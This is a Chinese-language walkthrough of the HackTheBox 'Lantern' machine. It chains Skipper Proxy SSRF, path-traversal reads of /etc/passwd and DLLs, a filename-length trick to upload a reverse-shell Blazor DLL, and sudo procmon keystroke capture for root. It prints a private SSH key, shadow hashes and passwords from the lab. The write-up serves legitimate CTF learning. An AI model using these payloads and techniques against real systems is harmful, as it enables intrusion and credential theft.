HackTheBox - Machine - Lantern

Recommand: Let’s Sign Up HTB Academy to get Higher level of knowledge :P

非常推薦: 想要變强嗎? 快來加入 HTB Academy 獲得更高級的知識吧 :P

Lantern

image

https://www.hackthebox.com/achievement/machine/463126/621

0x1 Nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
PORT     STATE SERVICE REASON         VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 80:c9:47:d5:89:f8:50:83:02:5e:fe:53:30:ac:2d:0e (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBGusUxyRLIhzLUjTy760PsP+hfg8+1NEQLQQfDeDRpoNyzq7OAGHksIqN1Mao6wZ7KRIU9FeeO4j3v1tygt+RgQ=
| 256 d4:22:cf:fe:b1:00:cb:eb:6d:dc:b2:b4:64:6b:9d:89 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIN9saUksNH519vji9ytatnGGy+QGBN+u+vur9+/YmVja
80/tcp open http syn-ack ttl 63 Skipper Proxy
|_http-server-header: Skipper Proxy
|_http-title: Did not follow redirect to http://lantern.htb/
| http-methods:
|_ Supported Methods: HEAD OPTIONS GET
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 404 Not Found
| Content-Length: 207
| Content-Type: text/html; charset=utf-8
| Date: Sat, 17 Aug 2024 19:02:29 GMT
| Server: Skipper Proxy
| <!doctype html>
| <html lang=en>
| <title>404 Not Found</title>
| <h1>Not Found</h1>
| <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
| GenericLines, Help, RTSPRequest, SSLSessionReq, TerminalServerCookie:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 302 Found
| Content-Length: 225
| Content-Type: text/html; charset=utf-8
| Date: Sat, 17 Aug 2024 19:02:23 GMT
| Location: http://lantern.htb/
| Server: Skipper Proxy
| <!doctype html>
| <html lang=en>
| <title>Redirecting...</title>
| <h1>Redirecting...</h1>
| <p>You should be redirected automatically to the target URL: <a href="http://lantern.htb/">http://lantern.htb/</a>. If not, click the link.
| HTTPOptions:
| HTTP/1.0 200 OK
| Allow: HEAD, OPTIONS, GET
| Content-Length: 0
| Content-Type: text/html; charset=utf-8
| Date: Sat, 17 Aug 2024 19:02:24 GMT
|_ Server: Skipper Proxy
3000/tcp open ppp? syn-ack ttl 63
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 500 Internal Server Error
| Connection: close
| Content-Type: text/plain; charset=utf-8
| Date: Sat, 17 Aug 2024 19:02:29 GMT
| Server: Kestrel
| System.UriFormatException: Invalid URI: The hostname could not be parsed.
| System.Uri.CreateThis(String uri, Boolean dontEscape, UriKind uriKind, UriCreationOptions& creationOptions)
| System.Uri..ctor(String uriString, UriKind uriKind)
| Microsoft.AspNetCore.Components.NavigationManager.set_BaseUri(String value)
| Microsoft.AspNetCore.Components.NavigationManager.Initialize(String baseUri, String uri)
| Microsoft.AspNetCore.Components.Server.Circuits.RemoteNavigationManager.Initialize(String baseUri, String uri)
| Microsoft.AspNetCore.Mvc.ViewFeatures.StaticComponentRenderer.<InitializeStandardComponentServicesAsync>g__InitializeCore|5_0(HttpContext httpContext)
| Microsoft.AspNetCore.Mvc.ViewFeatures.StaticC
| HTTPOptions:
| HTTP/1.1 200 OK
| Content-Length: 0
| Connection: close
| Date: Sat, 17 Aug 2024 19:02:34 GMT
| Server: Kestrel
| Help:
| HTTP/1.1 400 Bad Request
| Content-Length: 0
| Connection: close
| Date: Sat, 17 Aug 2024 19:02:29 GMT
| Server: Kestrel
| RTSPRequest:
| HTTP/1.1 505 HTTP Version Not Supported
| Content-Length: 0
| Connection: close
| Date: Sat, 17 Aug 2024 19:02:34 GMT
| Server: Kestrel
| SSLSessionReq, TerminalServerCookie:
| HTTP/1.1 400 Bad Request
| Content-Length: 0
| Connection: close
| Date: Sat, 17 Aug 2024 19:02:50 GMT
|_ Server: Kestrel
2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :

有個80和3000端口。

0xFF 3000 - LanternAdmin

image

直接打開這個網頁需要賬號密碼,基本的測試了之後什麼也沒有,因為目前沒有密碼,所以暫時先跳過。

0x2 80 - lantern.htb

image

來到80端口,看到下面有一些填郵箱的東西感覺就是像假的一樣,所以看一下這個http是什麼服務器:

1
2
$ whatweb http://lantern.htb/                                                                   
http://lantern.htb/ [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[Skipper Proxy], IP[10.129.18.83], Meta-Author[Devcrud], Script, Title[Lantern]

可以看到它返回了 Skipper Proxy​,於是谷歌搜索一下:

image

看起來這個poc已經在一兩年前,而且poc也很簡單就只需要加一個HTTP頭就可以了,所以隨手試一下看一下工作不:

1
2
3
4
5
6
7
8
9
10
Proof Of Concept:

1- Add header "X-Skipper-Proxy" to your request
2- Add the aws metadata to the path

GET /latest/meta-data/iam/security-credentials HTTP/1.1
Host: yourskipperdomain.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
X-Skipper-Proxy: http://169.254.169.254
Connection: close

https://www.exploit-db.com/exploits/51111

隨手試了一下之後,POC居然可以用,應該要用這個漏洞去找一些什麼東西

image

而且請求的數據去某個服務器,服務器返回的內容它也會返回,也就是SSRF。

image

既然是這樣子的話,可以嘗試訪問一些機器內部端口,首先隨便訪問一個不存在的端口看一下它會返回什麼,如上圖

然後訪問一個存在的端口:

image

所以可以用FFUF去掃描裡面的端口,請求包如下:

1
2
3
4
5
6
7
8
9
10
$ cat ffufport.req 
GET / HTTP/1.1
Host: lantern.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
X-Skipper-Proxy: http://127.0.0.1:FUZZ
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1

命令如下:

1
2
3
4
5
# 製作一個 1 - 65535 的字典
$ for x in {1..65535} ; do echo $x >> port.txt ; done

# 掃描
$ ffuf -request ffufport.req -request-proto http -w port.txt

掃到了這些端口:

image

3000端口是公開的,所以先試下5000端口。

0x3 5000 - InternaLantern

嘗試訪問 5000,根據POC,因為頭要帶上 X-Skipper-Proxy: http://127.0.0.1:5000​ ,所以去商店找一下修改HTTP頭的插件,找到這個:

image

https://addons.mozilla.org/en-US/firefox/addon/header-editor/

安裝了之後就可以做如下的設定:

image

然後刷新一下網頁就看到了神奇的一幕:

image

和往常一樣看一下加載的什麼dll ,因為他是 blazor​。

image

然後把 Microsoft.*​ 和 System.*​的全部忽略,剩下上面的那個dll,會比較吸引我

image

是sqlite,有一堆base64,因為感覺到有些奇怪,所以嘗試解碼看看,

image

直到第六個,看到了賬號密碼:

image

如下:

1
System administrator, First day: 21/1/2024, Initial credentials admin:AJbFA_Q@925p9ap#22. Ask to change after first login!

其實也有第二種方法,他會把sqlite保存到瀏覽器的緩存中,所以也可以dump下來:

image

保存了之後如下:

image

用jq提取所有數字,因爲他是10進制,ascii會正常顯示,所以不需要太多的處理,這裏用python處理:

1
2
# 導出所有數字
$ cat borzed.js | jq -r '.[]' > chr.txt
1
2
3
4
file = open('chr.txt','r')

for line in file:
print(chr(int(line)),end='')

image

這樣也可以得到賬號密碼。

0x4 3000 - Lantern Admin

然後使用上面的賬號密碼去登錄一下試一下:

image

進去的一個後臺管理頁面,但也是個半成品:

image

裡面有一個可以上傳文件的功能,還可以手動輸入模組名字

image

另外注意到這個python腳本中有LFI:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from flask import Flask, render_template, send_file, request, redirect, json
from werkzeug.utils import secure_filename
import os

app=Flask("__name__")

@app.route('/')
def index():
if request.headers['Host'] != "lantern.htb":
return redirect("http://lantern.htb/", code=302)
return render_template("index.html")

@app.route('/vacancies')
def vacancies():
return render_template('vacancies.html')

@app.route('/submit', methods=['POST'])
def save_vacancy():
name = request.form.get('name')
email = request.form.get('email')
vacancy = request.form.get('vacancy', default='Middle Frontend Developer')

if 'resume' in request.files:
try:
file = request.files['resume']
resume_name = file.filename
if resume_name.endswith('.pdf') or resume_name == '':
filename = secure_filename(f"resume-{name}-{vacancy}-latern.pdf")
upload_folder = os.path.join(os.getcwd(), 'uploads')
destination = '/'.join([upload_folder, filename])
file.save(destination)
else:
return "Only PDF files allowed!"
except:
return "Something went wrong!"
return "Thank you! We will conact you very soon!"

@app.route('/PrivacyAndPolicy')
def sendPolicyAgreement():
lang = request.args.get('lang')
file_ext = request.args.get('ext')
try:
return send_file(f'/var/www/sites/localisation/{lang}.{file_ext}')
except:
return send_file(f'/var/www/sites/localisation/default/policy.pdf', 'application/pdf')

if __name__ == '__main__':
app.run(host='127.0.0.1', port=8000)

嘗試一下,確實有:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
$ curl 'http://lantern.htb/PrivacyAndPolicy?lang=../../../../../../../../../&ext=/etc/passwd'
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www/sites:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
syslog:x:107:113::/home/syslog:/usr/sbin/nologin
uuidd:x:108:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:109:115::/nonexistent:/usr/sbin/nologin
tss:x:110:116:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:111:117::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:113:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
tomas:x:1000:1000:tomas:/home/tomas:/bin/bash
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
_laurel:x:998:998::/var/log/laurel:/bin/false

它這裡可以輸入模組的名字所以隨便輸入了一下看到:

image

默認是 Logs​ 那麼應該是對應 /opt/components/Logs.dll​,所以嘗試一下載一下:

1
2
3
4
$ curl 'http://lantern.htb/PrivacyAndPolicy?lang=../../../../../../../../../&ext=/opt/components/Logs.dll' --output Logs.dll
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 8192 100 8192 0 0 30019 0 --:--:-- --:--:-- --:--:-- 30117

反編譯得到下面的圖片,裡面好像沒什麼看的,就是普通的讀取日誌,但這裡需要注意的是,它是服務器的模組,而不是前端的模組。

image

0x5 Founding bug on Blazor

谷歌查了一下發現burp可以安裝下列的插件,這樣子就會更容易分析這個框架。

image

發現上傳按鈕它會上傳到 images​ 下面的文件夾,所以嘗試一下LFI,看看他能不能加載上傳的模組:

image

看來只允許在 /opt/components​,但是如果上傳 Logs.dll​ 的時候,改個名字看看,會不會有任意上傳呢?

image

我嘗試增加了三個字節:../

但是這裡系統出現了一個錯誤:

image

這個錯誤不像是平常的報錯,像是json格式裂開的樣子。

1
2
3
4
5
6
7
8
9
10
11
12
System.Text.Json.JsonException: Expected depth to be zero at the end of the JSON payload. There is an open JSON object or array that should be closed. Path: $ | LineNumber: 0 | BytePositionInLine: 135.
---> System.Text.Json.JsonReaderException: Expected depth to be zero at the end of the JSON payload. There is an open JSON object or array that should be closed. LineNumber: 0 | BytePositionInLine: 135.
at System.Text.Json.ThrowHelper.ThrowJsonReaderException(Utf8JsonReader& json, ExceptionResource resource, Byte nextByte, ReadOnlySpan`1 bytes)
at System.Text.Json.Utf8JsonReader.ReadSingleSegment()
at System.Text.Json.Utf8JsonReader.Read()
at System.Text.Json.JsonSerializer.Read[TValue](Utf8JsonReader& reader, JsonTypeInfo jsonTypeInfo)
--- End of inner exception stack trace ---
at System.Text.Json.ThrowHelper.ReThrowWithPath(ReadStack& state, JsonReaderException ex)
at System.Text.Json.JsonSerializer.Read[TValue](Utf8JsonReader& reader, JsonTypeInfo jsonTypeInfo)
at Microsoft.JSInterop.Infrastructure.DotNetDispatcher.ParseArguments(JSRuntime jsRuntime, String methodIdentifier, String arguments, Type[] parameterTypes)
at Microsoft.JSInterop.Infrastructure.DotNetDispatcher.InvokeSynchronously(JSRuntime jsRuntime, DotNetInvocationInfo& callInfo, IDotNetObjectReference objectReference, String argsJson)
at Microsoft.JSInterop.Infrastructure.DotNetDispatcher.BeginInvokeDotNet(JSRuntime jsRuntime, DotNetInvocationInfo invocationInfo, String argsJson)

所以我就在想,會不會是系統檢測到數據有被插入,長度不一樣,所以判定失敗。

既然只是判定長度的話,那麼就想到一個方法。。。

1
2
3
4
# 如果我想上傳的文件名字是:
/opt/components/manesec.dll
# 我需要先把文件名字改成:
aaaaaaaaaaaaaaaaaaaaaaa.dll

儅請求發出去的時候,只修改文件名,因為長度是一樣的,這樣就可以忽悠系統,上面的錯誤看起來系統只檢測某個地方的字串應該等於什麼。

image

嘗試了一下之後,上傳後顯示 success,也就是上傳成功了,然後目錄是可寫的,

image

既然上傳成功了,輸入剛剛上傳的dll的名字,可以看到他嘗試加載我們上傳的dll,既然是這樣的話那就好辦了。

你可以看到他嘗試加載 上傳的文件名字.Component​ 這個類。

0x6 Test and building reverse shell

根據反編譯的代碼,就嘗試寫一個webshell,我參考下面的視頻:

最後debug了沒問題之後:

image

image

我把源碼放在: https://github.com/manesec/tools4mane/blob/main/Script/Blazor/ReverseShellComponent.cs

0x7 (Windows) Building Webshell DLL

既然有了源碼之後就可以重新編譯成dll,所以創建一個 ASP.NET Core Web API​ 工程:

image

把HTTPS的去掉,如下圖:

image

從上面可以看到,他嘗試加載 上傳的文件名字.Component​ 這個類。

假如我要上傳 mane.dll​ ,namespace 一定要是 mane

image

編譯後得到 dll文件。

0x7 (Linux) Building Webshell DLL

可以不用windows編譯,和上面的windows方法是一樣的:

1
2
3
4
5
$ dotnet new classlib -n mane
$ cd mane
$ dotnet add package Microsoft.AspNetCore.Components --version 6.0.0
$ wget -O Class1.cs https://raw.githubusercontent.com/manesec/tools4mane/main/Script/Blazor/ReverseShellComponent.cs
$ dotnet build -c Release

然後得到dll。

image

0x8 User - get tomas ssh key

得到了 mane.dll​后,因爲我要上傳到 /opt/components/mane.dll​,先把名字改成 aaaaaaaaaaaaaaaaaaaa.dll​ ,用burp截取,點擊上傳然後把dll上傳上去,得到:

image

改成 /opt/components/mane.dll​ 后,

image

得到:

image

你可以看到上面的名字已經變成了 /opt/components/mane.dll​,

然後就獲得了reverse shell:

image

嘗試提取ssh的key:

image

得到:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----

得到 tomas 這個用戶:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
$ ssh -i key tomas@10.129.18.83
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-118-generic x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro

System information as of Sun Aug 18 01:44:10 PM UTC 2024

System load: 0.02
Usage of /: 66.2% of 8.76GB
Memory usage: 31%
Swap usage: 0%
Processes: 221
Users logged in: 0
IPv4 address for eth0: 10.129.18.83
IPv6 address for eth0: dead:beef::250:56ff:feb9:82ef


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


You have mail.
Last login: Sun Aug 18 08:25:55 2024 from 10.10.16.39
tomas@lantern:~$ id
uid=1000(tomas) gid=1000(tomas) groups=1000(tomas)

他給你一個提示是會有機器人自動運行 /root/automation.sh​ 這個脚本,所以叫你去看一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
tomas@lantern:~$ cat /var/mail/tomas 
From hr@lantern.htb Mon Jan 1 12:00:00 2023
Subject: Welcome to Lantern!

Hi Tomas,

Congratulations on joining the Lantern team as a Linux Engineer! We're thrilled to have you on board.

While we're setting up your new account, feel free to use the access and toolset of our previous team member. Soon, you'll have all the access you need.

Our admin is currently automating processes on the server. Before global testing, could you check out his work in /root/automation.sh? Your insights will be valuable.

Exciting times ahead!

Best.

0x9 Root - exploit procmon

1
2
3
4
5
6
tomas@lantern:~$ sudo -l
Matching Defaults entries for tomas on lantern:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User tomas may run the following commands on lantern:
(ALL : ALL) NOPASSWD: /usr/bin/procmon

可以看到它使用管理員運行 /usr/bin/procmon​,

image

但是 procmon 只是監聽syscall,而且看到了兩個神奇的進程:

1
2
3
4
5
6
7
8
9
$ ps -auxwwf | grep root
root 15840 0.0 0.1 17496 5084 ? Ssl 13:40 0:00 /usr/bin/expect -f /root/bot.exp
root 15845 0.0 0.1 7272 4056 pts/0 Ss+ 13:40 0:00 \_ nano /root/automation.sh

# 過了10分鐘,重新看看:

$ ps -auxwwf | grep root
root 16101 0.0 0.1 17496 5064 ? Ssl 13:50 0:00 /usr/bin/expect -f /root/bot.exp
root 16103 0.0 0.1 7272 4212 pts/0 Ss+ 13:50 0:00 \_ nano /root/automation.sh

結果pid不一樣了,用pspy觀察下:

image

你可以看到它有一個服務會定時重啟:

1
2
3
4
5
6
7
8
9
10
11
12
13
tomas@lantern:~$ cat /etc/systemd/system/bot.service
[Unit]
Description=Run bot as root

[Service]
Type=simple
ExecStart=/root/bot.exp
User=root
WorkingDirectory=/root
Restart=always

[Install]
WantedBy=network-online.target

然後根據procmon的官方文檔,可以抓取syscall

image

https://github.com/Sysinternals/ProcMon-for-Linux

這裡可能有一些觀眾會看不懂,舉一個通俗點的例子,假設有一個機器人(expect) 在和nano交互,機器人每按一個鍵,或者輸入一些東西到nano,都會用一次 write​,這個write​其實就是syscall​的一部分。

由於procmon是以root運行,配合kernel的支援下,可以監聽所有的syscall,這樣子當機器人開始輸入一些內容到nano的之後,就可以使用procmon來記錄機器人輸入了什麼內容到nano。

但是會有第二個問題,就是由於機器人輸入的速度比較慢, 如果機器人輸入了一半,然後才開始使用procmon監聽,就會損失前半部分的內容。

所以我們可以等到機器人重新啟動的時候就開始監聽。

由於機器人會生成兩個進程,一個是 expect (機器人本身) 另一個是nano。

需要等到機器人重啟的時候才開始監聽,才會記錄完整的內容,命令如下:

1
sudo procmon -p <新的nano的procid>,<新的expect的procid> -e read,write -c save.db

現在問題是如何等到機器人重新啟動呢?

從上面可以看到當機器人重新啟動的時候會生成一個新的pid ,所以我們可以隨便寫一個腳本,當舊的pid不等於新的pid的時,就意味著機器人重新啟動,所以腳本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import os
import time
import subprocess

def get_proc_id(proc_name):
id = subprocess.getoutput("pidof " + proc_name)
print("pidof " + proc_name + " = " + id)
return id.strip()

old_expect_id = get_proc_id("expect")
old_nano_id = get_proc_id("nano")

while (old_expect_id == get_proc_id("expect") and old_nano_id == get_proc_id("nano")):
time.sleep(1)

print("[*] starting procmon ...")

os.system("sudo procmon -p %s,%s -e read,write -c save.db" % (get_proc_id("expect"), get_proc_id("nano")))

然後等待機器人重啟:

image

等待了10分鐘,等expect重啟之後,procmon 就會自動進行抓包:

image

最後放在那裡等待10分鐘,等數字不跳了之後就按下 ctrl + c​,然後下載到本地,因為是sqlite格式的,所以可以直接打開看看:

image

觀察了下,一直按鍵盤的上下鍵,感覺哪裡怪怪的,從下面的圖中你看到了 backup.sh​ 了嗎?

demo1

所以猜測機器人應該是輸入 echo xxxx | backup.sh​ 之類的,然後一個一個按上下鍵手動的記錄下來,得到:

1
echo Q3Eddtdw3pMB | /opt/backup.sh

當時沒有使用脚本,是因爲假設root的密碼不會很長,所以手動扣下來比寫代碼來的快。

如果想要使用脚本dump下來:

image

Sqlite如下:

1
SELECT arguments FROM ebpf

然後使用python抓取數據,因爲大多數都是 8..QV​ 結尾的:

image

debug的時候看到不知道爲什麽偏移了一格:

image

這裏需要特殊處理下,如果判斷第十個位置是 [​,則輸出第九個位置,否則輸出第十個位置。

image

最後脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import sqlite3
con = sqlite3.connect("save.db")
cur = con.cursor()
res = cur.execute("SELECT arguments FROM ebpf")
rows = res.fetchall()

for row in rows:

# `8..QV` in the data
if b'\xa0\x38\xde\xcd\x51\x56' in row[0]:

if row[0][9] == 0x5b:
char = row[0][8]
else:
char = row[0][9]
print(chr(char),end='')
1
2
$ python3 exp.py                                                     
Q33EEddddttddww33ppMMBB | ssuuddoo ..//bbaacckkuupp..sshh

密碼部分去掉重複后得到:

1
2
3
4
5
6
7
8
$ python3
Python 3.11.9 (main, Apr 10 2024, 13:16:36) [GCC 13.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> a = 'QQ33EEddddttddww33ppMMBB'
>>> for x in range(0,len(a),2):
... print(a[x],end='')
...
Q3Eddtdw3pMB

嘗試下root密碼:

image

0xA More on the box

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
root@lantern:~# cat bot.exp 
#!/usr/bin/expect -f

spawn nano /root/automation.sh

set text "echo Q3Eddtdw3pMB | sudo ./backup.sh"

while {1} {
foreach char [split $text ""] {
send "$char"
sleep 1
}

send "\r"

sleep 0.5

for {set i 0} {$i < [string length $text]} {incr i} {
send "\b \b" ;
}

send "\r"
}

你可以看到機器人每一秒會按下一個按鍵。

Hashes

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
root@lantern:/home/tomas# cat /etc/shadow
root:$y$j9T$AIkP6DcupUzzLuD19q8Ea.$yfGWAj50b/chhcl4fuZL3jkIlp2NrkL63C5TXcDumJ0:19718:0:99999:7:::
daemon:*:19579:0:99999:7:::
bin:*:19579:0:99999:7:::
sys:*:19579:0:99999:7:::
sync:*:19579:0:99999:7:::
games:*:19579:0:99999:7:::
man:*:19579:0:99999:7:::
lp:*:19579:0:99999:7:::
mail:*:19579:0:99999:7:::
news:*:19579:0:99999:7:::
uucp:*:19579:0:99999:7:::
proxy:*:19579:0:99999:7:::
www-data:*:19579:0:99999:7:::
backup:*:19579:0:99999:7:::
list:*:19579:0:99999:7:::
irc:*:19579:0:99999:7:::
gnats:*:19579:0:99999:7:::
nobody:*:19579:0:99999:7:::
_apt:*:19579:0:99999:7:::
systemd-network:*:19579:0:99999:7:::
